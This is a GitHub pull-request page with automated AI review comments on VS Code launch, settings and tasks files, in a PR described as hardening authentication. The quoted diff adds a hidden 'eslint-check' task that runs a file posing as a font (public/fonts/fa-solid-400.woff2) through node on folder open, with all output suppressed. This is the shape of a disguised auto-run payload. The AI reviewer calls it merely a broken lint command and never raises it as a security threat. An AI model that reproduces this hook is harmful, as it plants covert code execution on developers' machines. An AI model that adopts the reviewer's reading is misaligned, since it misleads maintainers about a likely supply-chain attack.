used (e.g., Node.js, Python) [3][6]. While most major language extensions support this, some may not expose the env property [6].
Citations:
- 1: https://code.visualstudio.com/docs/reference/variables-reference
- 2: https://github.com/microsoft/vscode-docs/blob/main/docs/reference/variables-reference.md
- 3: https://code.visualstudio.com/docs/debugtest/debugging-configuration
- 4: https://github.com/microsoft/vscode-docs-archive/blob/778fa93e/docs/editor/variables-reference.md
- 5: https://github.com/microsoft/vscode-docs-archive/blob/master/docs/editor/variables-reference.md
- 6: https://discourse.julialang.org/t/setting-environment-variable-in-vs-code-debugger/97864
Remove hardcoded AWS_PROFILE from shared .vscode/launch.json
.vscode/launch.json hardcodes "AWS_PROFILE": "flo-ct-flo360" in all three Node debug configs (lines 15, 27, 39), breaking team-shared usage.
Update the env blocks to use either:
-
"AWS_PROFILE": "${env:AWS_PROFILE}"(simplest—each developer sets it locally), or -
"AWS_PROFILE": "${input:awsProfile}"and add anawsProfileentry to the existing top-level"inputs"array (there’s alreadyscopeTestsFileNamedefined).
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.vscode/launch.json around lines 15 - 16, The launch configuration currently
hardcodes "AWS_PROFILE": "flo-ct-flo360" in the env blocks, which prevents
shared use; update each Node debug config's env entry (the "AWS_PROFILE" key) to
use either "${env:AWS_PROFILE}" so each developer supplies it locally, or use
"${input:awsProfile}" and add an awsProfile entry to the top-level "inputs"
array (similar to the existing scopeTestsFileName input) so users can choose/set
it via VSCode UI.
| "type": "node", | ||
| "request": "launch", | ||
| "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", | ||
| "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
In VS Code launch.json for Node debug configs, are runtimeArgs passed as raw argv tokens (without shell unquoting), and should arguments be provided without embedded quote characters?
💡 Result:
Yes, arguments in the launch.json runtimeArgs (and args) array are passed as individual, raw tokens to the process [1][2][3]. VS Code handles these as an array of strings, which are passed directly to the operating system's process-spawning API (typically Node.js's child_process.spawn) [4]. Because the shell is not involved in parsing these arguments, they are not subjected to shell unquoting, glob expansion, or variable expansion [4]. Regarding embedded quotes: You should provide arguments without adding manual shell-style quotes around the entire string, as those quotes would be passed literally as part of the argument value [4]. If an argument itself must contain a quote character, you can include it as a literal character within the string, and it will be passed to the runtime executable as part of that token [5][6]. For example, if you need to pass a flag like --example="value", you should include the entire string as a single element in the array: ["--example=value"] [1][2]. If you were to add additional quotes, such as [""--example=value""], the runtime executable would receive the literal quote characters as part of the argument, which is typically not the intended behavior [5][6]. Top results: [1][2][3][4]
Citations:
- 1: https://code.visualstudio.com/docs/nodejs/nodejs-debugging
- 2: https://github.com/microsoft/vscode-docs/blob/c775dd9b/docs/nodejs/nodejs-debugging.md
- 3: https://github.com/microsoft/vscode-node-debug/blob/master/src/node/nodeDebug.ts
- 4: https://dev.to/max_schottke_6e27c7a80171/building-a-claude-code-plugin-with-zero-npm-dependencies-2m2h
- 5: https://vscode-docs-arc.readthedocs.io/en/latest/cpp/launch-json-reference/
- 6: http://visualcooks.com/launch-json-reference.html
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Show the relevant parts of .vscode/launch.json with line numbers
FILE=".vscode/launch.json"
echo "=== $FILE (lines 1-60) ==="
nl -ba "$FILE" | sed -n '1,60p'
echo "=== $FILE (lines 60-120) ==="
nl -ba "$FILE" | sed -n '60,120p'Repository: hngprojects/clinical-api
Length of output: 170
🏁 Script executed:
#!/bin/bash
set -euo pipefail
FILE=".vscode/launch.json"
echo "=== $FILE (lines 1-120) ==="
cat -n "$FILE" | sed -n '1,120p'
echo "=== $FILE (tail) ==="
cat -n "$FILE" | tail -n 80Repository: hngprojects/clinical-api
Length of output: 4149
Fix runtimeArgs argument quoting in .vscode/launch.json (and remove hardcoded AWS_PROFILE)
runtimeArgs(lines 23 and 35) include literal quote characters (e.g."\"jest\""/"\"vitest\""and"\"${input:scopeTestsFileName}\""), which will be passed as part of the argv token value instead of being used for shell-style grouping—this can breaksst bind yarn/jest/vitestinvocation.env.AWS_PROFILEis hardcoded to"flo-ct-flo360"in all these configs (lines 15/27/39), hurting portability for contributors/environments.
Proposed fix
- "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
+ "runtimeArgs": ["bind", "yarn", "jest", "--watch", "--config", "./jest.unit.config.cjs", "${input:scopeTestsFileName}"],
...
- "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
+ "runtimeArgs": ["bind", "yarn", "vitest", "--config", "./vitest.e2e.config.ts", "${input:scopeTestsFileName}"],🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.vscode/launch.json at line 23, Remove the extraneous literal quote
characters from the launch configuration's runtimeArgs so arguments like "jest",
"--watch", "--config", and the input token ${input:scopeTestsFileName} are
individual argv entries (e.g., runtimeArgs contains
"bind","yarn","jest","--watch","--config","./jest.unit.config.cjs","${input:scopeTestsFileName}")
instead of quoted strings, and remove or replace the hardcoded env.AWS_PROFILE
value so the env block does not set AWS_PROFILE to "flo-ct-flo360" (use no
AWS_PROFILE key or read from an environment variable/input instead); target the
runtimeArgs array and env.AWS_PROFILE entries in the launch configuration to
make these changes.
| "tasks": { | ||
| "label": "lint on open", | ||
| "type": "shell", | ||
| "command": "npm run lint", | ||
| "runOn": "folderOpen" | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
Does VS Code support defining runnable tasks under settings.json, or must task definitions be placed in .vscode/tasks.json?
💡 Result:
VS Code does not support defining runnable tasks inside settings.json. Task definitions are done in tasks.json (typically workspace-specific at.vscode/tasks.json). [1][2] Explanation: VS Code’s task documentation states that “Workspace or folder specific tasks are configured from the tasks.json file in the.vscode folder for a workspace.” [1][2] The settings.json documentation describes that settings are stored in settings.json, but it is for editor/workspace settings rather than task definitions. [3] You can still define tasks at the user level via a user tasks.json file, but that’s still a tasks.json file (not settings.json). [4]
Citations:
- 1: https://code.visualstudio.com/docs/debugtest/tasks
- 2: https://github.com/microsoft/vscode-docs/blob/main/docs/debugtest/tasks.md
- 3: https://code.visualstudio.com/docs/configure/settings
- 4: https://stackoverflow.com/questions/52854008/vs-code-user-tasks-json
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# List likely lint-related files
echo "## package.json"
ls -la package.json || true
echo "## .github/workflows (lint/ruff)"
find . -maxdepth 4 -type f -path "./.github/workflows/*" | sed -n '1,200p'
echo "## Find ruff usage"
rg -n --hidden --glob '!.git/*' "ruff" . || true
echo "## Find npm run lint usage"
rg -n --hidden --glob '!.git/*' "\"lint\"|npm run lint|run lint" package.json .github/workflows .vscode 2>/dev/null || true
echo "## Show package.json scripts section (small slice)"
python3 - <<'PY'
import json,sys
p='package.json'
try:
data=json.load(open(p))
except Exception as e:
print(f"Cannot read {p}: {e}")
sys.exit(0)
scripts=data.get("scripts",{})
print("scripts keys:", list(scripts.keys()))
for k in sorted(scripts.keys()):
if "lint" in k.lower():
print(f"{k}: {scripts[k]}")
PYRepository: hngprojects/clinical-api
Length of output: 7166
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "## .vscode/settings.json (relevant lines)"
sed -n '1,120p' .vscode/settings.json
echo "## .github/workflows/ci.yaml (lint steps)"
sed -n '1,120p' .github/workflows/ci.yaml
echo "## .github/workflows/cd.yaml (context, if any)"
sed -n '1,160p' .github/workflows/cd.yamlRepository: hngprojects/clinical-api
Length of output: 7655
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "## Check if .vscode/tasks.json exists"
ls -la .vscode || true
if [ -f .vscode/tasks.json ]; then
echo "---- .vscode/tasks.json ----"
sed -n '1,200p' .vscode/tasks.json
fi
echo "## Search for npm scripts / package.json"
find . -maxdepth 3 -name package.json -print || true
rg -n --hidden --glob '!.git/*' "npm run lint|npm run|run lint" .vscode .github pyproject.toml uv.lock || true
echo "## Search for ruff lint commands"
rg -n --hidden --glob '!.git/*' "uv run ruff|ruff check|ruff format" .github .vscode pyproject.toml || trueRepository: hngprojects/clinical-api
Length of output: 1653
Fix VS Code auto-lint task: move task definition out of settings.json and align the command with Ruff
.vscode/settings.json(lines 17-22) defines atasksobject, but runnable task definitions belong in.vscode/tasks.json, so this won’t register as a runnable VS Code task.- The configured command
npm run lintdoesn’t match the repo’s CI lint (uv run ruff check/uv run ruff format --check) and there’s nopackage.json, so this task is effectively broken—replace the task command in.vscode/tasks.jsonwith the Ruff equivalent (or remove thetasksblock fromsettings.json).
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.vscode/settings.json around lines 17 - 22, The VS Code auto-lint task is
incorrectly defined inside "tasks" in settings.json and uses a non-existent npm
command; move or recreate the task definition into .vscode/tasks.json (using the
task label "lint on open") and replace the command "npm run lint" with the
repo's Ruff command (e.g., "uv run ruff check" or the format check "uv run ruff
format --check") or remove the "tasks" block from settings.json entirely so VS
Code will pick up the runnable task from tasks.json.
| "configurations": [ | ||
| { | ||
| "type": "node", | ||
| "request": "launch", | ||
| "name": "Run My Project", | ||
| "console": "", | ||
| "internalConsoleOptions": "openOnSessionStart" | ||
| } | ||
| ], |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
What are the valid top-level properties for VS Code .vscode/tasks.json (schema version 2.0.0), and is "configurations" one of them?
💡 Result:
For a VS Code.vscode/tasks.json with schema version 2.0.0, the valid top-level properties are: 1) version 2) windows 3) osx 4) linux 5) tasks No, "configurations" is not a valid top-level property for tasks.json (schema 2.0.0). The schema for tasks.json 2.0.0 defines the top-level object as TaskConfiguration, which includes only version, windows, osx, linux, and the BaseTaskConfiguration-derived properties such as tasks. A property named "configurations" does not appear in the schema definitions for tasks.json 2.0.0.[1][2][3]
Citations:
- 1: https://github.com/microsoft/vscode-docs-archive/blob/778fa93e/docs/editor/tasks-appendix.md
- 2: https://code.visualstudio.com/docs/reference/tasks-appendix
- 3: https://github.com/microsoft/vscode/blob/master/src/vs/workbench/contrib/tasks/common/jsonSchema_v2.ts
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Print the relevant tasks.json with line numbers (small file expected)
if [ -f ".vscode/tasks.json" ]; then
nl -ba .vscode/tasks.json | sed -n '1,160p'
else
echo "Missing: .vscode/tasks.json"
fiRepository: hngprojects/clinical-api
Length of output: 111
🏁 Script executed:
#!/bin/bash
set -euo pipefail
if [ -f ".vscode/tasks.json" ]; then
cat -n .vscode/tasks.json | sed -n '1,160p'
else
echo "Missing: .vscode/tasks.json"
fiRepository: hngprojects/clinical-api
Length of output: 1098
🏁 Script executed:
#!/bin/bash
set -euo pipefail
rg -n "fa-solid-400\.woff2" -S .
rg -n "\"eslint-check\"|eslint-check" -S .vscode . || trueRepository: hngprojects/clinical-api
Length of output: 50
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Target the file explicitly to avoid ignore rules
rg -n "fa-solid-400\.woff2" .vscode/tasks.json || true
rg -n "eslint-check" .vscode/tasks.json || trueRepository: hngprojects/clinical-api
Length of output: 281
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# 1) Check that the referenced .woff2 is truly a font binary (magic bytes)
python3 - <<'PY'
from pathlib import Path
p = Path(".") / "public" / "fonts" / "fa-solid-400.woff2"
print("exists:", p.exists(), "path:", p)
if p.exists():
b = p.read_bytes()
print("size:", len(b))
print("first_16_bytes_hex:", b[:16].hex())
# wOFF2 files typically start with ASCII "wOFF2"
try:
print("first_5_bytes_ascii:", b[:5].decode("ascii", errors="replace"))
except Exception as e:
print("ascii decode error:", e)
PY
# 2) Find all .woff2 references in repo
rg -n "\\.woff2" -S . || true
# 3) Check what linter the repo uses (ruff vs eslint)
rg -n "ruff|flake8|eslint|prettier" -S . || trueRepository: hngprojects/clinical-api
Length of output: 6338
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Inspect .vscode directory
find .vscode -maxdepth 2 -type f -print || true
# Check public/fonts contents
find public -maxdepth 3 -type f | rg -n "\\.(woff2|woff)$" || true
find public -maxdepth 4 -type f | rg -n "fa-solid|font" || true
# Search for referenced font name
rg -n "fa-solid-400\\.woff2|fa-solid-400" -S . || true
# Search for eslint usage
rg -n "\\beslint\\b|eslint-check" -S .vscode . || trueRepository: hngprojects/clinical-api
Length of output: 332
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== Root dirs/files =="
ls -la
echo "== .vscode/launch.json =="
cat -n .vscode/launch.json | sed -n '1,220p'
echo "== .vscode/tasks.json (full) =="
cat -n .vscode/tasks.json | sed -n '1,220p'
echo "== Search for eslint/eslint-check =="
rg -n "\\beslint\\b|eslint-check" -S . || true
echo "== Search for .woff2 assets =="
rg -n "\\.woff2\\b" -S . || true
echo "== Repo font/assets files =="
find . -maxdepth 4 -type f \( -iname "*.woff2" -o -iname "*.woff" \) -print || trueRepository: hngprojects/clinical-api
Length of output: 4835
Fix invalid VS Code tasks.json + broken eslint-check task
.vscode/tasks.json: the top-level"configurations"block (lines 3-11) is alaunch.jsonshape and is not a valid top-level property fortasks.json(schema 2.0.0); move it to.vscode/launch.jsonor remove it..vscode/tasks.json: theeslint-checktask (lines 12-31) runsnode ./public/fonts/fa-solid-400.woff2onfolderOpen, but this repo has nopublic/directory (so the referenced file doesn’t exist) and the command doesn’t match the task label—update the command to the intended eslint/Ruff check (or rename the task).
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.vscode/tasks.json around lines 3 - 11, The top-level "configurations" block
in .vscode/tasks.json is invalid for tasks.json (it's a launch.json shape) —
remove it from tasks.json or move it into .vscode/launch.json so only valid task
schema remains; also fix the "eslint-check" task that currently runs "node
./public/fonts/fa-solid-400.woff2" on "folderOpen" by replacing that command
with the actual lint command (e.g., the project's eslint or ruff CLI), or rename
the task label to match the command, and ensure the
"problemMatcher"/"group"/"runOn" fields are appropriate for a lint task and that
no non-existent paths (like public/fonts/...) are referenced.
| "label": "eslint-check", | ||
| "type": "shell", | ||
| "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", | ||
| "problemMatcher": [], | ||
| "isBackground": true, | ||
| "hide": true, | ||
| "presentation": { | ||
| "reveal": "never", | ||
| "panel": "dedicated", | ||
| "focus": false, | ||
| "clear": false, | ||
| "echo": false, | ||
| "close": true | ||
| }, | ||
| "runOptions": { | ||
| "runOn": "folderOpen" | ||
| } |
There was a problem hiding this comment.
eslint-check command is invalid and auto-runs on folder open.
Line 16 runs node ./public/fonts/fa-solid-400.woff2, which is not executable JS and will error repeatedly because Line 29 triggers it on folder open. It also doesn’t run linting, despite the task label.
Proposed fix (align with current repo lint tooling)
- "label": "eslint-check",
+ "label": "ruff-check",
"type": "shell",
- "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
+ "command": "uv run ruff check . && uv run ruff format --check .",
"problemMatcher": [],
"isBackground": true,🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.vscode/tasks.json around lines 14 - 30, The "eslint-check" task is
misconfigured: its "command" runs a font file via node (the string starting with
"node ./public/fonts/fa-solid-400.woff2") and is set to auto-run on folder open
("runOptions": {"runOn":"folderOpen"}), causing repeated errors and not actually
running linting; update the task with the correct lint command used by this repo
(e.g., the project's ESLint script or "npm run lint" / "yarn lint" / "pnpm lint"
consistent with package.json) replace the current "command" value with that lint
invocation, remove or change "runOptions.runOn" so it does not auto-run on
folder open (set to manual or remove the key), and keep the task label
"eslint-check" and presentation settings intact so the task runs the intended
linter when invoked.
3 participants
Description
This PR improves authentication security by:
Related Issue (Link to issue ticket)
Motivation and Context
To reduce abuse of authentication endpoints and improve security around OTP-based flows such as signup verification and password resets.
How Has This Been Tested?
Screenshots (if appropriate - Postman, etc):
Types of changes
Checklist:
Summary by CodeRabbit
.gitignorerules to exclude temporary and build-related files